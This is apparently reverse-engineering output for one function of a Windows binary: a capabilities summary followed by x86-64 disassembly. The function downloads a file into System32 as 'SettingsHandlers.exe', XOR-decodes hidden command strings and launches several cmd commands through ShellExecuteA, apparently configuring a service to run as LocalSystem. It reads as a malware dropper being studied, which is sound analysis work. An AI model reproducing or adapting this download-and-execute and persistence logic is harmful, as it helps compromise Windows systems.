Function at 0x140001530
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
cmp qword [0x140005718], 0x10
lea rdx, [0x140005700]
lea r8, str.C:WindowsSystem32SettingsHandlers.exe
cmovae rdx, qword [0x140005700]
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [str.Hghj:__h___hj]
mov ecx, ebx
movdqa xmm1, xmmword [0x140003430]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [0x140003460]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x140003540]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [0x140003440]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [0x140003450]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [0x1400033f0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x140003550]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [0x140003410]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x20], 0x6a2e6768
mov byte [rbp - 0x1c], bl
nop word [rax + rax]
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rcx + 0x51], al
inc rcx
cmp rcx, 0x93
jb 0x140001610
mov dword [rsp + 0x28], ebx
lea r9, [rsp + 0x51]
lea r8, [rbp + 0x91]
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x99]
mov byte [rbp - 0x1c], bl
xor ecx, ecx
mov dword [rbp + 0x90], 0x646d6365
mov byte [rbp + 0x94], bl
mov dword [rbp + 0x98], 0x65706f61
mov word [rbp + 0x9c], 0x6e
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400034a0]
lea r9, [rsp + 0x51]
movdqa xmm1, xmmword [0x140003560]
lea r8, [rbp + 0x91]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x99]
movdqa xmm0, xmmword [0x1400035a0]
xor ecx, ecx
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [0x140003520]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x140003470]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [0x140003420]
mov dword [rsp + 0x28], ebx
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x50], bl
mov dword [rbp + 0x90], 0x646d6357
mov byte [rbp + 0x94], bl
mov dword [rbp + 0x98], 0x65706f61
mov word [rbp + 0x9c], 0x6e
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400034b0]
lea r9, [rsp + 0x51]
movdqa xmm1, xmmword [0x140003560]
lea r8, [rbp + 0x91]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x99]
movdqa xmm0, xmmword [0x1400035a0]
xor ecx, ecx
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [0x140003520]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x140003480]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [0x140003530]
mov dword [rsp + 0x28], ebx
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x60], xmm1
mov word [rbp - 0x50], 0x22
mov dword [rbp + 0x90], 0x646d6316
mov byte [rbp + 0x94], bl
mov dword [rbp + 0x98], 0x65706f01
mov word [rbp + 0x9c], 0x6e
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400034c0]
movdqa xmm1, xmmword [0x140003560]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [0x1400035a0]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [0x140003520]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [str.___v_ObjectName_m]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [0x140003570]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x60], xmm1
mov dword [rbp - 0x50], 0x536c6163
mov dword [rbp - 0x4c], 0x65747379
mov dword [rbp - 0x48], 0x2f20226d
mov word [rbp - 0x44], 0x2266
mov byte [rbp - 0x42], bl
mov dword [rbp + 0x90], 0x646d6303
mov byte [rbp + 0x94], bl
mov dword [rbp + 0x98], 0x65706f24
mov word [rbp + 0x9c], 0x6e
mov dword [rsp + 0x28], ebx
lea r9, [rsp + 0x51]
lea r8, [rbp + 0x91]
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x99]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x90]
call fcn.140001990
mov r9, rax
mov r8d, 0x3a
lea rcx, [rax + 2]
nop dword [rax]
movzx edx, byte [r9]
xor byte [rcx - 1], dl
lea rcx, [rcx + 5]
movzx edx, byte [r9]
xor byte [rcx - 5], dl
movzx edx, byte [r9]
xor byte [rcx - 4], dl
movzx eax, byte [r9]
xor byte [rcx - 3], al
movzx eax, byte [r9]
xor byte [rcx - 2], al
sub r8, 1
jne 0x140001880
mov byte [r9 + 0x123], bl
lea r8, [rbp + 0x99]
inc r9
mov dword [rsp + 0x28], ebx
lea rdx, [rbp + 0xa1]
mov dword [rbp + 0x98], 0x646d6321
xor ecx, ecx
mov byte [rbp + 0x9c], bl
mov dword [rbp + 0xa0], 0x65706f12
mov word [rbp + 0xa4], 0x6e
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x140003590]
lea r9, [rsp + 0x31]
mov dword [rsp + 0x28], ebx
lea r8, [rbp + 0x91]
lea rdx, [rbp + 0x99]
mov dword [rsp + 0x40], 0x63764168
xor ecx, ecx
mov dword [rsp + 0x44], 0x76537074
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x48], 0x2263
mov byte [rsp + 0x4a], bl
mov dword [rbp + 0x90], 0x646d632b
mov byte [rbp + 0x94], bl
mov dword [rbp + 0x98], 0x65706f5e
mov word [rbp + 0x9c], 0x6e
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
mov rbx, qword [rsp + 0x1a8]
add rsp, 0x180
pop rbp
jmp qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400056e0]
jmp 0x140001530